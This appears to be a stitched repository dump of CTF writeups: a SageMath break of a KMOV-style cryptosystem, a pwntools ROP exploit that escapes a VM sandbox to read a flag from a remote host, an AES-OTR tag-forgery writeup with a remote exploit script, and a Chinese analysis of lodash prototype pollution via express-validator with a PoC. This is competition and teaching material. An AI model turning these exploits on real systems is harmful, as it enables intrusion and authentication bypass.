continued_fraction(e / N).convergents()]\n", 75 | "\n", 76 | "P. = PolynomialRing(Zmod(N))\n", 77 | "\n", 78 | "for x, y in res:\n", 79 | " if Integer(y).nbits() in range(bits // 2 - 8, bits // 2) and Integer(x).nbits() in range(bits // 2 - 8, bits // 2):\n", 80 | " U = (e * x // y) - N - 1\n", 81 | " V = int(sqrt(abs(U**2 - 4 * N)))\n", 82 | " p_0 = (U+V) // 2\n", 83 | " f = ((p_0 << 576) >> 576) + pp\n", 84 | " r = f.small_roots(X = 2**(bits - 576), beta = 0.4)\n", 85 | " if r != []:\n", 86 | " p = int(p_0 + r[0])\n", 87 | " if (N % p == 0) and is_prime(p):\n", 88 | " break\n", 89 | "\n", 90 | "q = N // p\n", 91 | "k = inverse_mod(e, (p + 1) * (q + 1))\n", 92 | "\n", 93 | "d = (((ct[1])**2 - 1) * inverse_mod(((ct[1])**2 + 1) * (ct[0])**2, N)) % N\n", 94 | "pt = point_mul((-d, d, N), ct, k)\n", 95 | "flag = pt[0].to_bytes(32, 'big') + pt[1].to_bytes(32, 'big')\n", 96 | "print(flag)" 97 | ] 98 | }, 99 | { 100 | "cell_type": "markdown", 101 | "metadata": {}, 102 | "source": [ 103 | "**P.S.**\n", 104 | "\n", 105 | "* According to ([[2]](#2), Theorem 3), suppose we know an approximation $\\tilde{p}$ of $p$ with $|p - \\tilde{p}| < N^{0.25}$, then $N$ can be factored in polynomial time, this means for a 2048-bit $N$, given 512 high order bits of $p$ is encough to factorize $N$, but in practice, if you want to use `.small_roots()` method in SageMath to get the result, usually you need 576 bits known to get the result quickly, you can also reduce the number of bits required by reducing the value of the `epsilon` parameter in `.small_roots()` (e.g., 540 bits known with `epsilon = 0.02` and 530 bits with `epsilon = 0.01` worked well), but it will cost more time.\n", 106 | "\n", 107 | "* Also, some new improved attacks on the KMOV cryptosystem have been proposed, these attacks work when the private key is suitably small and the new results improve the former attacks on the KMOV cryptosystem, see ([[3]](#3), Section 3, 4).\n", 108 | "\n", 109 | "* The content of the FLAG is a quote from movie *Scent of a Woman* \"You're so wrapped up in sugar, you've forgotten the taste of real honey!\"\n", 110 | "\n", 111 | "**References**\n", 112 | "\n", 113 | "[1] Boudabra, M., Nitaj, A. A new public key cryptosystem based on Edwards curves. J. Appl. Math. Comput. 61, 431–450 (2019).\n", 114 | "\n", 115 | "[2] A. Nitaj, A new attack on the KMOV cryptosystem, Bulletin of the Korean Math- ematical Society 51 (5), 1347–1356, 2014.\n", 116 | "\n", 117 | "[3] Nitaj, Abderrahmane, Willy Susilo, and Joseph Tonien. \"Improved Cryptanalysis of the KMOV Elliptic Curve Cryptosystem.\" International Conference on Provable Security. Springer, Cham, 2019." 118 | ] 119 | } 120 | ], 121 | "metadata": { 122 | "kernelspec": { 123 | "display_name": "SageMath 9.0", 124 | "language": "sage", 125 | "name": "sagemath" 126 | }, 127 | "language_info": { 128 | "codemirror_mode": { 129 | "name": "ipython", 130 | "version": 3 131 | }, 132 | "file_extension": ".py", 133 | "mimetype": "text/x-python", 134 | "name": "python", 135 | "nbconvert_exporter": "python", 136 | "pygments_lexer": "ipython3", 137 | "version": "3.7.3" 138 | } 139 | }, 140 | "nbformat": 4, 141 | "nbformat_minor": 4 142 | } 143 | -------------------------------------------------------------------------------- /Pwn/vm/exp.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | from pwn import * 4 | import traceback 5 | 6 | context.log_level = 'error' 7 | #context.log_level = 'debug' 8 | context.terminal = ['tmux','splitw','-h'] 9 | flag_lenth = 0x30 10 | ''' 11 | 3EE098 environ 12 | 0x00000000000008aa : ret 13 | 0x000000000002155f : pop rdi ; ret 14 | 0x0000000000023e6a : pop rsi ; ret 15 | 0x0000000000001b96 : pop rdx ; ret 16 | 0x00000000000439c8 : pop rax ; ret 17 | 0x00000000001480c7 : test rax, rax ; jne 0x1480d6 ; ret 18 | 0x000000000003088d : and eax, esi ; ret 19 | 0x00000000000e0120 : mov eax, dword ptr [rdi] ; ret 20 | .text:00000000000E4E35 syscall 21 | 0x0000000000054803 : leave ; ret 22 | .text:0000000000097080 test rax, rax ; jnz 23 | 0x0000000000116dac : test eax, eax ; je 0x116db7 ; ret 24 | 0x0000000000145786 : test eax, eax ; je 0x145795 ; ret 25 | 0x000000000014c7e6 : test eax, eax ; je 0x14c7f5 ; ret 26 | 0x000000000006eacd : xchg eax, edi ; ret 27 | 28 | 0x00000000000522e0 : push rax ; pop rbx ; ret 29 | 0x0000000000082867 : mov dword ptr [rcx], eax ; ret 30 | 0x000000000004440a : mov dword ptr [rdi], eax ; ret 31 | 0x00000000000e46ee : pop rcx ; ret 32 | 0x00000000001aba66 : mov edi, dword ptr [rdx] ; ret 33 | ''' 34 | time_out = 2 35 | if args.R: 36 | pop_rdi = 0x000000000002155f 37 | pop_rsi = 0x0000000000023e8a 38 | pop_rdx = 0x0000000000001b96 39 | pop_rax = 0x0000000000043a78 40 | branch = 0x00000000008eafc 41 | cmp_eax_rsi = 0x000000000003091d 42 | mov_eax_rdi = 0x00000000000e0180 43 | syscall = 0x00000000000E4E95 44 | ret_addr = 0x00000000000008aa 45 | pop_rcx = 0x00000000000e46ee 46 | mov_edi_rdx = 0x00000000001aba66 47 | mov_rcx_eax = 0x0000000000082867 48 | #xchg_eax_edi = 0x6eacd 49 | else: 50 | pop_rdi = 0x000000000002155f 51 | pop_rsi = 0x0000000000023e6a 52 | pop_rdx = 0x0000000000001b96 53 | pop_rax = 0x00000000000439c8 54 | branch = 0x00000000008ea8c 55 | cmp_eax_rsi = 0x000000000003088d 56 | mov_eax_rdi = 0x00000000000e0120 57 | syscall = 0x00000000000E4E35 58 | ret_addr = 0x00000000000008aa 59 | one_gadget = 0x10a38c 60 | malloc_hook = 0x3EBC30 61 | free_hook = 0x3ED8E8 62 | xchg_eax_edi = 0x6eacd 63 | 64 | def push(index): 65 | return b'\x01' + p8(index) 66 | def pop(index): 67 | return b'\x02' + p8(index) 68 | def add(index,value): 69 | magic = 0 70 | if len(value) == 1: 71 | magic = 0 72 | elif len(value) == 2: 73 | magic = 1 74 | elif len(value) == 4: 75 | magic = 2 76 | elif len(value) == 8: 77 | magic = 3 78 | return b'\x03' + p8(magic) + p8(index) + value 79 | def sub(index,value): 80 | magic = 0 81 | if len(value) == 1: 82 | magic = 0 83 | elif len(value) == 2: 84 | magic = 1 85 | elif len(value) == 4: 86 | magic = 2 87 | elif len(value) == 8: 88 | magic = 3 89 | return b'\x04' + p8(magic) + p8(index) + value 90 | def jmp(offset): 91 | return p8(11) + p8(offset) 92 | def call(offset): 93 | return p8(12) + p16(offset) 94 | def ret(): 95 | return p8(13) 96 | def mov_reg_reg(index1,index2): 97 | return p8(14) + p8(index1) + p8(index2) 98 | def mov_mem_reg(index1,index2): 99 | return p8(15) + p8(index1) + p8(index2) 100 | def mov_reg_mem(index1,index2): 101 | return p8(16) + p8(index1) + p8(index2) 102 | def debug(): 103 | return p8(18) 104 | def mov_reg_value(index,value): 105 | magic = 0 106 | if len(value) == 1: 107 | magic = 0 108 | elif len(value) == 2: 109 | magic = 1 110 | elif len(value) == 4: 111 | magic = 2 112 | elif len(value) == 8: 113 | magic = 3 114 | return p8(17) + p8(magic) + p8(index) + value 115 | 116 | def write_stack(reg_index,value): 117 | res = b'' 118 | res += mov_reg_reg(5,reg_index) + add(5,p64(value)) + mov_mem_reg(4,5) + add(4,p16(8)) 119 | return res 120 | def write_mem(reg_index,addr,value): 121 | res = b'' 122 | res += mov_reg_value(5,p64(value)) + mov_reg_reg(3,reg_index) + add(3,p64(addr)) + mov_mem_reg(3,5) 123 | return res 124 | 125 | def connect(): 126 | if args.R: 127 | p = remote('59.110.63.160', 8521) 128 | #p = remote('0.0.0.0',9999) 129 | #p = process('./vm',env = {'LD_PRELOAD':'./libc-2.27.so'}) 130 | #p = process('./vm') 131 | else: 132 | p = process('./vm') 133 | return p 134 | 135 | def gen(offset,value): 136 | payload = call(0x700 - 3) #+ debug() 137 | lenth = len(payload) 138 | payload += call(0x800 - 3 - lenth) 139 | payload += jmp(10) + push(0) * 5 + pop(0) * 4 + pop(6) + sub(6,p64(0x3ebca0)) # reg6 = libc_base 140 | 141 | ropchain = b'' 142 | if args.R: 143 | ropchain += write_stack(6,pop_rdi) + write_stack(7,0xf00) + write_stack(6,pop_rsi) + write_stack(0,0) + write_stack(6,pop_rdx) + write_stack(0,0) + write_stack(6,pop_rax) + write_stack(0,2) + write_stack(6,syscall) 144 | ropchain += write_stack(6,pop_rcx) + write_stack(4,0x18) + write_stack(6,mov_rcx_eax) + write_stack(6,pop_rdi) + write_stack(0,3) 145 | ropchain += write_stack(6,pop_rsi) + write_stack(7,0xf80) + write_stack(6,pop_rdx) + write_stack(0,flag_lenth) + write_stack(6,pop_rax) + write_stack(0,0) + write_stack(6,syscall) 146 | #ropchain += write_stack(6,pop_rdi) + write_stack(0,1) + write_stack(6,pop_rsi) + write_stack(7,0xf80) + write_stack(6,pop_rdx) + write_stack(0,0x30) + write_stack(6,pop_rax) + write_stack(0,1) + write_stack(6,syscall) 147 | ropchain += write_stack(6,pop_rdi) + write_stack(7,0xf80 + offset) + write_stack(6,pop_rax) + write_stack(0,0) + write_stack(6,mov_eax_rdi) + write_stack(6,pop_rsi) + write_stack(0,value) + write_stack(6,cmp_eax_rsi) + write_stack(6,branch) 148 | ropchain += write_stack(6,pop_rdi) + write_stack(0,0) + write_stack(6,pop_rsi) + write_stack(7,0xe00) + write_stack(6,pop_rdx) + write_stack(0,0x4) + write_stack(6,pop_rax) + write_stack(0,0) + write_stack(6,syscall) 149 | ropchain += write_stack(6,pop_rdi) + write_stack(0,0) + write_stack(6,pop_rsi) + write_stack(7,0xe00) + write_stack(6,pop_rdx) + write_stack(0,0x4) + write_stack(6,pop_rax) + write_stack(0,0) + write_stack(6,syscall) 150 | #ropchain += write_stack(6,pop_rdi) + write_stack(0,0) + write_stack(6,pop_rsi) + write_stack(7,0xe00) + write_stack(6,pop_rdx) + write_stack(0,0x4) + write_stack(6,pop_rax) + write_stack(0,0) + write_stack(6,syscall) 151 | 152 | else: 153 | ropchain += write_stack(6,pop_rdi) + write_stack(7,0xf00) + write_stack(6,pop_rsi) + write_stack(0,0) + write_stack(6,pop_rdx) + write_stack(0,0) + write_stack(6,pop_rax) + write_stack(0,2) + write_stack(6,syscall) 154 | ropchain += write_stack(6,xchg_eax_edi) + write_stack(6,pop_rsi) + write_stack(7,0xf80) + write_stack(6,pop_rdx) + write_stack(0,flag_lenth) + write_stack(6,pop_rax) + write_stack(0,0) + write_stack(6,syscall) 155 | ropchain += write_stack(6,pop_rdi) + write_stack(7,0xf80 + offset) + write_stack(6,pop_rax) + write_stack(0,0) + write_stack(6,mov_eax_rdi) + write_stack(6,pop_rsi) + write_stack(0,value) + write_stack(6,cmp_eax_rsi) + write_stack(6,branch) 156 | ropchain += write_stack(6,pop_rdi) + write_stack(0,0) + write_stack(6,pop_rsi) + write_stack(7,0xe00) + write_stack(6,pop_rdx) + write_stack(0,0x4) + write_stack(6,pop_rax) + write_stack(0,0) + write_stack(6,syscall) 157 | ropchain += write_stack(6,pop_rdi) + write_stack(0,0) + write_stack(6,pop_rsi) + write_stack(7,0xe00) + write_stack(6,pop_rdx) + write_stack(0,0x4) + write_stack(6,pop_rax) + write_stack(0,0) + write_stack(6,syscall) 158 | ropchain += write_stack(6,pop_rdi) + write_stack(0,0) + write_stack(6,pop_rsi) + write_stack(7,0xe00) + write_stack(6,pop_rdx) + write_stack(0,0x4) + write_stack(6,pop_rax) + write_stack(0,0) + write_stack(6,syscall) 159 | 160 | payload += mov_reg_reg(5,6) + add(5,p64(0x3EE098)) + mov_reg_mem(4,5) + sub(4,p64(0xf0+0x30)) #reg4 stack 161 | payload += mov_reg_mem(1,4) + mov_reg_value(0,p64(0))# + debug() 162 | payload += write_mem(7,0xf80,0) + write_mem(7,0xf88,1) 163 | payload += ropchain #+ debug() 164 | 165 | payload += b'\xff' 166 | payload = payload.ljust(0x700,b'\x00') 167 | payload += jmp(4) + push(0) * 2 + pop(0) + pop(7) + push(7) + push(0) + sub(7,p8(3)) + ret()# + debug() + debug() #reg[7] = text_base 168 | payload = payload.ljust(0x800,b'\x00') 169 | 170 | payload += mov_reg_value(0,p64(0)) + mov_reg_value(1,p64(0x111)) + mov_reg_value(2,p64(0x601)) 171 | payload += push(0) + jmp(2) + pop(0) + push(0) * int(0xe8 / 8) + push(1) + push(0) #+ debug() 172 | payload += push(0) * int(0x5f0 / 8) + push(2) + ret() 173 | 174 | payload = payload.ljust(0xf00,b'\x00') + b'./flag\x00' 175 | payload = payload.ljust(0x1000,b'\x00') 176 | return payload 177 | 178 | def exp(p,payload): 179 | p.recvuntil('VM has been initialized. Please input your code: \n') 180 | p.send(payload) 181 | p.recvuntil('Now we will check your code and run it in a sandbox.\n') 182 | #p.recvline() 183 | p.recv(1,timeout = time_out) 184 | 185 | def brute(index): 186 | value = 0 187 | for offset in range(8): 188 | #sleep(time_out) 189 | p = connect() 190 | try: 191 | payload = gen(index,(1 << offset)) 192 | exp(p,payload) 193 | except KeyboardInterrupt: 194 | #traceback.print_exc() 195 | exit(1) 196 | except: 197 | #traceback.print_exc() 198 | value |= (1 << offset) 199 | print('value[%d] %s' % (index,hex(value))) 200 | #print(Arguement) 201 | p.close() 202 | else: 203 | p.close() 204 | #print('flag[%d] : %c' % (index,p8(value))) 205 | return value 206 | 207 | index = 0 208 | flag = b'' 209 | 210 | for index in range(flag_lenth): 211 | value = brute(index) 212 | flag += p8(value) 213 | print('flag : %s' % flag) 214 | 215 | p.interactive() -------------------------------------------------------------------------------- /Crypto/imposter/imposter_writeup.ipynb: -------------------------------------------------------------------------------- 1 | { 2 | "cells": [ 3 | { 4 | "cell_type": "markdown", 5 | "metadata": {}, 6 | "source": [ 7 | "This challenge implements an instantiation of OTR based on AES block cipher with modified version 1.0. OTR, which stands for Offset Two-Round, is a blockcipher mode of operation to realize an authenticated encryption with associated data (see [[1]](#1)). AES-OTR algorithm is a campaign of CAESAR competition, it has successfully entered the third round of screening by virtue of its unique advantages, you can see the whole algorithms and structure of AES-OTR from the design document (see [[2]](#2)).\n", 8 | "\n", 9 | "However, the first version is vulnerable to forgery attacks in the known plaintext conditions and association data and public message number are reused, many attacks can be applied here to forge an excepted ciphertext with a valid tag (see [[3]](#3)).\n", 10 | "\n", 11 | "For example, in this challenge we can build the following three plaintexts:" 12 | ] 13 | }, 14 | { 15 | "cell_type": "code", 16 | "execution_count": null, 17 | "metadata": {}, 18 | "outputs": [], 19 | "source": [ 20 | "M_0 = [b'Uid=16112\\xffUserNa', b'me=AdministratoR', b'\\xffT=111111111111\\xff', b'Cmd=Give_Me_FlaG', b'\\xff???????????????']\n", 21 | "M_1 = [b'Uid=16111\\xffUserNa', b'me=Administrator', b'r\\xffT=11111111111\\xff', b'Cmd=Give_Me_FlaG', b'\\xff???????????????']\n", 22 | "M_2 = [b'Uid=16112\\xffUserNa', b'me=AdministratoR', b'\\xffT=111111111111\\xff', b'Cmd=Give_Me_Flag', b'g\\xff??????????????']" 23 | ] 24 | }, 25 | { 26 | "cell_type": "markdown", 27 | "metadata": {}, 28 | "source": [ 29 | "Here `'111111111111'` can represent any value since the server won't check whether the message and its corresponding hash value match, so we just need to make sure that they are at the right length. If you look closely, you will find that none of the three plaintexts contains illegal fields, so we can use the encrypt Oracle provided by the server to get their corresponding ciphertexts easily. Next, noticed that these plaintexts satisfied:" 30 | ] 31 | }, 32 | { 33 | "cell_type": "code", 34 | "execution_count": 1, 35 | "metadata": {}, 36 | "outputs": [ 37 | { 38 | "data": { 39 | "text/plain": [ 40 | "True" 41 | ] 42 | }, 43 | "execution_count": 1, 44 | "metadata": {}, 45 | "output_type": "execute_result" 46 | } 47 | ], 48 | "source": [ 49 | "from Crypto.Util.strxor import strxor\n", 50 | "\n", 51 | "M_0 = [b'Uid=16112\\xffUserNa', b'me=AdministratoR', b'\\xffT=111111111111\\xff', b'Cmd=Give_Me_FlaG', b'\\xff???????????????']\n", 52 | "M_1 = [b'Uid=16111\\xffUserNa', b'me=Administrator', b'r\\xffT=11111111111\\xff', b'Cmd=Give_Me_FlaG', b'\\xff???????????????']\n", 53 | "M_2 = [b'Uid=16112\\xffUserNa', b'me=AdministratoR', b'\\xffT=111111111111\\xff', b'Cmd=Give_Me_Flag', b'g\\xff??????????????']\n", 54 | "\n", 55 | "strxor(M_0[1], M_0[3]) == strxor(M_1[1], M_2[3])" 56 | ] 57 | }, 58 | { 59 | "cell_type": "markdown", 60 | "metadata": {}, 61 | "source": [ 62 | "So according to the forgery attacks described in [[3]](#3), suppose their corresponding ciphertexts are `C_0`, `C_1` and `C_2`, then we can forge a valid ciphertext and tag using:" 63 | ] 64 | }, 65 | { 66 | "cell_type": "code", 67 | "execution_count": 2, 68 | "metadata": {}, 69 | "outputs": [ 70 | { 71 | "data": { 72 | "text/plain": [ 73 | "True" 74 | ] 75 | }, 76 | "execution_count": 2, 77 | "metadata": {}, 78 | "output_type": "execute_result" 79 | } 80 | ], 81 | "source": [ 82 | "from Toy_AE import Toy_AE\n", 83 | "\n", 84 | "def unpack(r):\n", 85 | " data = r.split(b\"\\xff\")\n", 86 | " uid, uname, token, cmd, appendix = int(data[0][4:]), data[1][9:], data[2][2:], data[3][4:], data[4]\n", 87 | " return (uid, uname, token, cmd, appendix)\n", 88 | "\n", 89 | "ae = Toy_AE()\n", 90 | "\n", 91 | "M_0 = [b'Uid=16112\\xffUserNa', b'me=AdministratoR', b'\\xffT=111111111111\\xff', b'Cmd=Give_Me_FlaG', b'\\xff???????????????']\n", 92 | "M_1 = [b'Uid=16111\\xffUserNa', b'me=Administrator', b'r\\xffT=11111111111\\xff', b'Cmd=Give_Me_FlaG', b'\\xff???????????????']\n", 93 | "M_2 = [b'Uid=16112\\xffUserNa', b'me=AdministratoR', b'\\xffT=111111111111\\xff', b'Cmd=Give_Me_Flag', b'g\\xff??????????????']\n", 94 | "\n", 95 | "C_0, T_0 = ae.encrypt(b''.join(M_0))\n", 96 | "C_1, T_1 = ae.encrypt(b''.join(M_1))\n", 97 | "C_2, T_2 = ae.encrypt(b''.join(M_2))\n", 98 | "C_forge = C_1[:32] + C_2[32:64] + C_0[64:]\n", 99 | "\n", 100 | "T_forge = T_0\n", 101 | "\n", 102 | "_, uname, _, cmd, _ = unpack(ae.decrypt(C_forge, T_forge))\n", 103 | "uname == b\"Administrator\" and cmd == b\"Give_Me_Flag\"" 104 | ] 105 | }, 106 | { 107 | "cell_type": "markdown", 108 | "metadata": {}, 109 | "source": [ 110 | "Here is my final exp:" 111 | ] 112 | }, 113 | { 114 | "cell_type": "code", 115 | "execution_count": null, 116 | "metadata": {}, 117 | "outputs": [], 118 | "source": [ 119 | "import string\n", 120 | "from pwn import *\n", 121 | "from hashlib import sha256\n", 122 | "from Crypto.Util.strxor import strxor\n", 123 | "from Crypto.Util.number import long_to_bytes, bytes_to_long\n", 124 | "\n", 125 | "def bypass_POW(io):\n", 126 | " chall = io.recvline()\n", 127 | " post = chall[14:30]\n", 128 | " tar = chall[38:-2]\n", 129 | " io.recvuntil(':')\n", 130 | " found = iters.bruteforce(lambda x:sha256((x + post.decode()).encode()).hexdigest() == tar.decode(), string.ascii_letters + string.digits, 4)\n", 131 | " io.sendline(found.encode())\n", 132 | "\n", 133 | "C = []\n", 134 | "T = []\n", 135 | "\n", 136 | "io = remote(\"123.57.4.93\", 45216)\n", 137 | "bypass_POW(io)\n", 138 | "\n", 139 | "io.sendlineafter(b\"Your option:\", '1')\n", 140 | "io.sendlineafter(b\"Set up your user id:\", '16108')\n", 141 | "io.sendlineafter(b\"Your username:\", 'AdministratoR')\n", 142 | "io.sendlineafter(b\"Your command:\", 'Give_Me_FlaG')\n", 143 | "io.sendlineafter(b\"Any Appendix?\", \"???????????????\")\n", 144 | "\n", 145 | "_ = io.recvuntil(b\"Your ticket:\")\n", 146 | "C.append(long_to_bytes(int(io.recvline().strip(), 16)))\n", 147 | "_ = io.recvuntil(b\"With my Auth:\")\n", 148 | "T.append(long_to_bytes(int(io.recvline().strip(), 16)))\n", 149 | "\n", 150 | "io.sendlineafter(b\"Your option:\", '1')\n", 151 | "io.sendlineafter(b\"Set up your user id:\", '16107')\n", 152 | "io.sendlineafter(b\"Your username:\", 'Administratorr')\n", 153 | "io.sendlineafter(b\"Your command:\", 'Give_Me_FlaG')\n", 154 | "io.sendlineafter(b\"Any Appendix?\", \"???????????????\")\n", 155 | "\n", 156 | "_ = io.recvuntil(b\"Your ticket:\")\n", 157 | "C.append(long_to_bytes(int(io.recvline().strip(), 16)))\n", 158 | "_ = io.recvuntil(b\"With my Auth:\")\n", 159 | "T.append(long_to_bytes(int(io.recvline().strip(), 16)))\n", 160 | "\n", 161 | "io.sendlineafter(b\"Your option:\", '1')\n", 162 | "io.sendlineafter(b\"Set up your user id:\", '16108')\n", 163 | "io.sendlineafter(b\"Your username:\", 'AdministratoR')\n", 164 | "io.sendlineafter(b\"Your command:\", 'Give_Me_Flagg')\n", 165 | "io.sendlineafter(b\"Any Appendix?\", \"??????????????\")\n", 166 | "\n", 167 | "_ = io.recvuntil(b\"Your ticket:\")\n", 168 | "C.append(long_to_bytes(int(io.recvline().strip(), 16)))\n", 169 | "_ = io.recvuntil(b\"With my Auth:\")\n", 170 | "T.append(long_to_bytes(int(io.recvline().strip(), 16)))\n", 171 | "\n", 172 | "ct = (C[1][:32] + C[2][32:64] + C[0][64:]).hex()\n", 173 | "te = T[0].hex()\n", 174 | "\n", 175 | "io.sendlineafter(b\"Your option:\", '2')\n", 176 | "io.sendlineafter(b\"Ticket:\", ct)\n", 177 | "io.sendlineafter(b\"Auth:\", te)\n", 178 | "flag = io.recvline().strip().decode()\n", 179 | "print(flag)" 180 | ] 181 | }, 182 | { 183 | "cell_type": "markdown", 184 | "metadata": {}, 185 | "source": [ 186 | "b'X-NUCA{Gentlem3n_as_0f_th1s_mOment_I aM_th4t_sec0nd_mouse}'" 187 | ] 188 | }, 189 | { 190 | "cell_type": "markdown", 191 | "metadata": {}, 192 | "source": [ 193 | "**P.S.**\n", 194 | "\n", 195 | "* The version used in this challenge is v 1.0, some vulnerabilities have been fixed in subsequent versions(v 2.0, v 3.0 and v 3.1), you can see the final version at [[4]](#4). Also, for some attacks on the new version, see [[5]](#5) and [[6]](#6).\n", 196 | "\n", 197 | "* The content of the FLAG is a quote from movie *Catch Me If You Can* \"Two little mice fell in a bucket of cream. The first mouse quickly gave up and drowned. The second mouse, wouldn't quit. He struggled so hard that eventually he churned that cream into butter and crawled out. Gentlemen, as of this moment, I am that second mouse.\"\n", 198 | "\n", 199 | "**References**\n", 200 | "\n", 201 | " [1] Minematsu K. Parallelizable rate-1 authenticated encryption from pseudorandom functions[C]//Annual International Conference on the Theory and Applications of Cryptographic Techniques. Springer, Berlin, Heidelberg, 2014: 275-292.\n", 202 | "\n", 203 | " [2] Minematsu K. AES-OTR v1 design document.\n", 204 | "\n", 205 | " [3] Xiulin Zheng, Yipeng Fu, Haiyan Song. Forging attacks on authenticated encryption algorithm AES-OTR[J]. Computer Applications and Software, 2017, 034(010):320-324,329.\n", 206 | "\n", 207 | " [4] Minematsu K. AES-OTR v3.1 design document.\n", 208 | "\n", 209 | "[5] Forler, Christian, et al. \"Reforgeability of authenticated encryption schemes.\" Australasian Conference on Information Security and Privacy. Springer, Cham, 2017.\n", 210 | "\n", 211 | "[6] Vaudenay, Serge, and Damian Vizár. \"Under Pressure: Security of Caesar Candidates beyond their Guarantees.\" IACR Cryptol. ePrint Arch. 2017 (2017): 1147." 212 | ] 213 | } 214 | ], 215 | "metadata": { 216 | "kernelspec": { 217 | "display_name": "Python 3", 218 | "language": "python", 219 | "name": "python3" 220 | }, 221 | "language_info": { 222 | "codemirror_mode": { 223 | "name": "ipython", 224 | "version": 3 225 | }, 226 | "file_extension": ".py", 227 | "mimetype": "text/x-python", 228 | "name": "python", 229 | "nbconvert_exporter": "python", 230 | "pygments_lexer": "ipython3", 231 | "version": "3.7.3" 232 | } 233 | }, 234 | "nbformat": 4, 235 | "nbformat_minor": 4 236 | } 237 | -------------------------------------------------------------------------------- /Web/oooooooldjs/writeup.md: -------------------------------------------------------------------------------- 1 | # oooooooldjs writeup 2 | ## TL;DR 3 | 4 | 1. 前置知识 5 | 1. express-validator sanitizer的代码逻辑分析 6 | 2. lodash < 4.17.17 _set 原型链污染 7 | 2. 漏洞分析 8 | 1. express-validator sanitizer触发原型链污染 9 | 2. CVE-2015-9251 bypass by prototype pollution 10 | 3. 复习异步编程小知识 11 | 4. 跨域问题解决 12 | 3. exploit.py 13 | 14 | ## 前置知识 15 | 16 | ### #1 express-validator sanitizer 代码逻辑 17 | 18 | 讲故事前有必要先了解下express-validator是如何做参数过滤的。就是比如一个express的中间件下面这样写的时候,到底做了什么。 19 | 20 | ```javascript 21 | body('*').trim() 22 | ``` 23 | 24 | 首先在`src/middlewares/validation-chain-builders.js`文件中找到`body`的实现,发现包括`check,body,cookie`等都是对`buildCheckFunction`函数的封装,而``buildCheckFunction``函数内部,调用了`check.js`中的check函数。 25 | 26 | ![image-20201023165559016](./assets/image-20201023165559016.png) 27 | 28 | 跟进`check.js`。 29 | 30 | `src/middlewares/check.js` 31 | 32 | ![image-20201020094036770](./assets/image-20201020094036770.png) 33 | 34 | 先看return的地方,check函数里的`middleware`就是`express-validator`最终对接`express`的中间件。`utils_1.bindAll`函数做的事情就是把对象原型链上的函数绑定成了对象的一个属性,因为`Object.assign`只做浅拷贝,`utils.bindAll`之后`Object.assign`就可以 35 | 36 | 把`sanitizers`和`validators`上面的方法都拷贝到`middleware`上面了,这样就能通过这个`middleware`调用所有的验证和过滤函数。 37 | 38 | 跟进`/src/chain/sanitizers-impl.js` 39 | 40 | SanitizersImpl->trim() 41 | 42 | SanitizersImpl-> addStandardSanitization() 43 | 44 | ![image-20201020094231698](./assets/image-20201020094231698.png) 45 | 46 | 可以看到最终调用`builder.addItem()`,传入`validator.js`的`trim`函数`validator.trim`作为参数,这样就给`builder`增加了一个`sanitization`,然后返回`this.chain`,即`middleware`,这样就做到链式调用。 47 | 48 | 跟进看看这个`sanitization`做了什么事情, 49 | 50 | src/context-items/sanitization.js 51 | 52 | Sanitization->run() 53 | 54 | context.setData() 55 | 56 | ![image-20201020094355565](./assets/image-20201020094355565.png) 57 | 58 | 有个`run`方法,调用传入的`sanitizer`,然后调用`context.setData`方法修改新的值。 59 | 60 | 那么这个`run`方法肯定是在哪里调用了。回头看最外层的`ContextRunnerImpl`做了什么事情。 61 | 62 | src/chain/context-runner-impl.js 63 | 64 | ![image-20201020105334264](./assets/image-20201020105334264.png) 65 | 66 | `ContextRunnerImpl`的`run`方法在之前`check()`函数中可以看到是`middleware`调用的入口,这个`run`方法首先申请了一个`context`,可以理解为一个http请求的上下文的一个封装,然后做了一些获取http请求参数的事情。这里可以先不管,焦点放在27行,这个for循环会遍历`context.stack`里的项目,然后调用它的`run`方法。那么这个`context.stack`是什么时候添加的呢?其实就是通过`builder.addItem()`方法添加的,可以看看`builder`都有哪些方法。 67 | 68 | ![image-20201020105858277](./assets/image-20201020105858277.png) 69 | 70 | 到这里整个大逻辑就清晰了。 71 | 72 | `express-validator`的做法是把各种`validator`和`sanitizers`的方法绑定到`check函数`返回的`middleware`上,这些`validator`和`sanitizer`的方法通过往`context.stack`属性里面push `context-items`,最终在`ContextRunnerImpl.run()`方法里遍历`context.stack`上面的`context-items`,逐一调用`run`方法实现`validation`或者是`sanitization`。 73 | 74 | ### #2 lodash < 4.17.17 原型链污染 75 | 76 | https://snyk.io/vuln/SNYK-JS-LODASH-608086 77 | 78 | ```javascript 79 | lod = require('lodash') 80 | lod.setWith({}, "__proto__[test]", "123") 81 | lod.set({}, "__proto__[test2]", "456") 82 | console.log(Object.prototype) 83 | ``` 84 | ## 二、漏洞分析 85 | 86 | ### #1 express-validator中lodash原型链污染漏洞攻击面 87 | 88 | 在上面分析里,`context-runner-impl.js`的run方法中,可以看到如果`options.dryRun`不为真且`reqValue !== instance.value`就会进入条件,通过`_.set`重新设置置`req[location]`的某个参数的值为新的值,这里的参数都是可控的,而且6.6.0版本中要求的lodash最低版本是4.17.15,就有机会触发原型链污染漏洞! 89 | 90 | 两个条件其中`options.dryRun`默认为false不用管,而要满足`reqValue !== instance.value`的条件,通过调试可以知道,就是使我们给的参数的值经过`sanitizer`之后改变了就行,这里就不具体分析了。 91 | 92 | 以`check().trim()`这个`sanitizer`来举例子,我们只要给的参数两边具有空白字符,经过`trim()`之后会把空白字符去掉,就可以满足上面的漏洞触发条件,那么是不是我们传入下面这个参数给它,那么就能触发原型链污染呢? 93 | 94 | image-20201021153841158 95 | 96 | 发现确实满足了条件,但是却没有污染成功。 97 | 98 | ![image-20201021154057066](./assets/image-20201021154057066.png) 99 | 100 | ![image-20201021154113530](./assets/image-20201021154113530.png) 101 | 102 | 这是为什么呢?这里的用法和poc的不同点,就是这里的`_set`的第一个参数和lodash原型链污染给出的poc不太一样,poc里是空对象,而这里是`req[location]`,而`req[location]`里面本来就是有我们`_set`的第二个参数也就是需要设置的对象的`key`的,是不是因为`key`存在了导致了原型链污染失败呢? 103 | 104 | 可以用下面的代码来验证 105 | 106 | ```javascript 107 | // lodash <= 4.17.16 108 | var _ = require('lodash') 109 | var c = {"__proto__[test]": 1} 110 | _.set(c,'__proto__[test]', 2) 111 | console.log(Object.prototype) 112 | // result: {} 113 | ``` 114 | 115 | 发现确实是这个问题。到这里似乎感觉这个触发点走不通了,但是感觉有时候不可靠,继续动手继续调一下/狗头 116 | 117 | 